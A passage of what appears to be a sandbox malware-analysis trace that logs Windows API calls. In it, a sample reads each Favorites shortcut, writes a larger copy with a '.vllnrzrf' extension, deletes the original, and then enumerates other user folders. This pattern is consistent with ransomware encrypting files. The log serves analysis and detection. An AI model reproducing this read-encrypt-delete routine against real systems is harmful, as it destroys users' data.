halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0105.715] GetFileType (hFile=0x45c) returned 0x1 [0105.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcea80) returned 1 [0105.715] GetFileType (hFile=0x45c) returned 0x1 [0105.715] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1cfceca8 | out: lpFileSizeHigh=0x1cfceca8*=0x0) returned 0x85 [0105.715] ReadFile (in: hFile=0x45c, lpBuffer=0x2408a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cfcebd8, lpOverlapped=0x0 | out: lpBuffer=0x2408a68*, lpNumberOfBytesRead=0x1cfcebd8*=0x85, lpOverlapped=0x0) returned 1 [0105.716] CloseHandle (hObject=0x45c) returned 1 [0105.719] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.vllnrzrf", lpFilePart=0x0) returned 0x52 [0105.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfceb10) returned 1 [0105.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0105.720] GetFileType (hFile=0x45c) returned 0x1 [0105.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcea80) returned 1 [0105.720] GetFileType (hFile=0x45c) returned 0x1 [0105.720] WriteFile (in: hFile=0x45c, lpBuffer=0x240d4e8*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1cfceae8, lpOverlapped=0x0 | out: lpBuffer=0x240d4e8*, lpNumberOfBytesWritten=0x1cfceae8*=0x285, lpOverlapped=0x0) returned 1 [0105.721] CloseHandle (hObject=0x45c) returned 1 [0105.722] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", lpFilePart=0x0) returned 0x49 [0105.722] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", nBufferLength=0x105, lpBuffer=0x1cfce7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", lpFilePart=0x0) returned 0x49 [0105.722] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url")) returned 1 [0105.724] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", lpFilePart=0x0) returned 0x4d [0105.724] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", lpFilePart=0x0) returned 0x4d [0105.724] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", lpFilePart=0x0) returned 0x4d [0105.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfceb10) returned 1 [0105.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0105.726] GetFileType (hFile=0x45c) returned 0x1 [0105.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcea80) returned 1 [0105.726] GetFileType (hFile=0x45c) returned 0x1 [0105.726] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1cfceca8 | out: lpFileSizeHigh=0x1cfceca8*=0x0) returned 0x85 [0105.726] ReadFile (in: hFile=0x45c, lpBuffer=0x240f0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cfcebd8, lpOverlapped=0x0 | out: lpBuffer=0x240f0c0*, lpNumberOfBytesRead=0x1cfcebd8*=0x85, lpOverlapped=0x0) returned 1 [0105.727] CloseHandle (hObject=0x45c) returned 1 [0105.730] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.vllnrzrf", lpFilePart=0x0) returned 0x56 [0105.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfceb10) returned 1 [0105.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0105.731] GetFileType (hFile=0x45c) returned 0x1 [0105.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcea80) returned 1 [0105.731] GetFileType (hFile=0x45c) returned 0x1 [0105.731] WriteFile (in: hFile=0x45c, lpBuffer=0x2413b50*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1cfceae8, lpOverlapped=0x0 | out: lpBuffer=0x2413b50*, lpNumberOfBytesWritten=0x1cfceae8*=0x285, lpOverlapped=0x0) returned 1 [0105.732] CloseHandle (hObject=0x45c) returned 1 [0105.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", lpFilePart=0x0) returned 0x4d [0105.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", nBufferLength=0x105, lpBuffer=0x1cfce7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", lpFilePart=0x0) returned 0x4d [0105.733] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url")) returned 1 [0105.734] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", lpFilePart=0x0) returned 0x4a [0105.735] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", lpFilePart=0x0) returned 0x4a [0105.735] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", lpFilePart=0x0) returned 0x4a [0105.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfceb10) returned 1 [0105.735] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0105.735] GetFileType (hFile=0x45c) returned 0x1 [0105.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcea80) returned 1 [0105.735] GetFileType (hFile=0x45c) returned 0x1 [0105.735] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1cfceca8 | out: lpFileSizeHigh=0x1cfceca8*=0x0) returned 0x85 [0105.735] ReadFile (in: hFile=0x45c, lpBuffer=0x2415710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cfcebd8, lpOverlapped=0x0 | out: lpBuffer=0x2415710*, lpNumberOfBytesRead=0x1cfcebd8*=0x85, lpOverlapped=0x0) returned 1 [0105.736] CloseHandle (hObject=0x45c) returned 1 [0105.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.vllnrzrf", lpFilePart=0x0) returned 0x53 [0105.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfceb10) returned 1 [0105.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0105.740] GetFileType (hFile=0x45c) returned 0x1 [0105.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcea80) returned 1 [0105.740] GetFileType (hFile=0x45c) returned 0x1 [0105.741] WriteFile (in: hFile=0x45c, lpBuffer=0x241a190*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1cfceae8, lpOverlapped=0x0 | out: lpBuffer=0x241a190*, lpNumberOfBytesWritten=0x1cfceae8*=0x285, lpOverlapped=0x0) returned 1 [0105.741] CloseHandle (hObject=0x45c) returned 1 [0105.742] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", lpFilePart=0x0) returned 0x4a [0105.742] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", nBufferLength=0x105, lpBuffer=0x1cfce7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", lpFilePart=0x0) returned 0x4a [0105.742] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url")) returned 1 [0105.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", lpFilePart=0x0) returned 0x4c [0105.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", lpFilePart=0x0) returned 0x4c [0105.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", lpFilePart=0x0) returned 0x4c [0105.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfceb10) returned 1 [0105.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0106.548] GetFileType (hFile=0x45c) returned 0x1 [0106.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcea80) returned 1 [0106.548] GetFileType (hFile=0x45c) returned 0x1 [0106.548] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1cfceca8 | out: lpFileSizeHigh=0x1cfceca8*=0x0) returned 0x85 [0106.548] ReadFile (in: hFile=0x45c, lpBuffer=0x241bd60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cfcebd8, lpOverlapped=0x0 | out: lpBuffer=0x241bd60*, lpNumberOfBytesRead=0x1cfcebd8*=0x85, lpOverlapped=0x0) returned 1 [0106.550] CloseHandle (hObject=0x45c) returned 1 [0106.554] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.vllnrzrf", lpFilePart=0x0) returned 0x55 [0106.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfceb10) returned 1 [0106.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0106.556] GetFileType (hFile=0x45c) returned 0x1 [0106.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcea80) returned 1 [0106.556] GetFileType (hFile=0x45c) returned 0x1 [0106.556] WriteFile (in: hFile=0x45c, lpBuffer=0x24207f0*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1cfceae8, lpOverlapped=0x0 | out: lpBuffer=0x24207f0*, lpNumberOfBytesWritten=0x1cfceae8*=0x285, lpOverlapped=0x0) returned 1 [0106.557] CloseHandle (hObject=0x45c) returned 1 [0106.560] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", nBufferLength=0x105, lpBuffer=0x1cfce630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", lpFilePart=0x0) returned 0x4c [0106.560] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", nBufferLength=0x105, lpBuffer=0x1cfce7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", lpFilePart=0x0) returned 0x4c [0106.560] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url")) returned 1 [0106.562] CoUninitialize () Thread: id = 80 os_tid = 0xb48 [0106.805] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0106.806] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1d02e6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0106.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d02eb00) returned 1 [0106.806] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1d02e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0106.806] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", nBufferLength=0x105, lpBuffer=0x1d02e590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpFilePart=0x0) returned 0x24 [0106.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*.*", lpFindFileData=0x1d02e7a0 | out: lpFindFileData=0x1d02e7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ba0 [0106.807] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1d02e7f0 | out: lpFindFileData=0x1d02e7f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.304] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1d02e7f0 | out: lpFindFileData=0x1d02e7f0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0107.304] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1d02e7f0 | out: lpFindFileData=0x1d02e7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0107.304] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1d02e7f0 | out: lpFindFileData=0x1d02e7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0107.304] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1d02e7f0 | out: lpFindFileData=0x1d02e7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0107.305] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1d02e7f0 | out: lpFindFileData=0x1d02e7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.305] FindClose (in: hFindFile=0x1a578ba0 | out: hFindFile=0x1a578ba0) returned 1 [0107.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d02ea50) returned 1 [0107.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d02ea10) returned 1 [0107.308] CoUninitialize () Thread: id = 81 os_tid = 0x738 [0107.319] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0107.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1cdfe640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0107.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdfeaa0) returned 1 [0107.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1cdfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0107.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\", lpFilePart=0x0) returned 0x2d [0107.320] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*.*", lpFindFileData=0x1cdfe740 | out: lpFindFileData=0x1cdfe740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0107.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfe9d0) returned 1 [0107.329] CoUninitialize () Thread: id = 82 os_tid = 0x870 [0107.361] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0107.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ce5e9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0107.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ee00) returned 1 [0107.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ce5e8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0107.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", nBufferLength=0x105, lpBuffer=0x1ce5e890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpFilePart=0x0) returned 0x24 [0107.362] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.*", lpFindFileData=0x1ce5eaa0 | out: lpFindFileData=0x1ce5eaa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xab3a21f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab3a21f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ba0 [0107.362] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ce5eaf0 | out: lpFindFileData=0x1ce5eaf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xab3a21f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab3a21f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.363] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ce5eaf0 | out: lpFindFileData=0x1ce5eaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc00e90, ftCreationTime.dwHighDateTime=0x1d5e09c, ftLastAccessTime.dwLowDateTime=0x605ba880, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0x605ba880, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8cyzLOfK", cAlternateFileName="")) returned 1 [0107.363] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ce5eaf0 | out: lpFindFileData=0x1ce5eaf0*(dwFileAttributes=0x26, 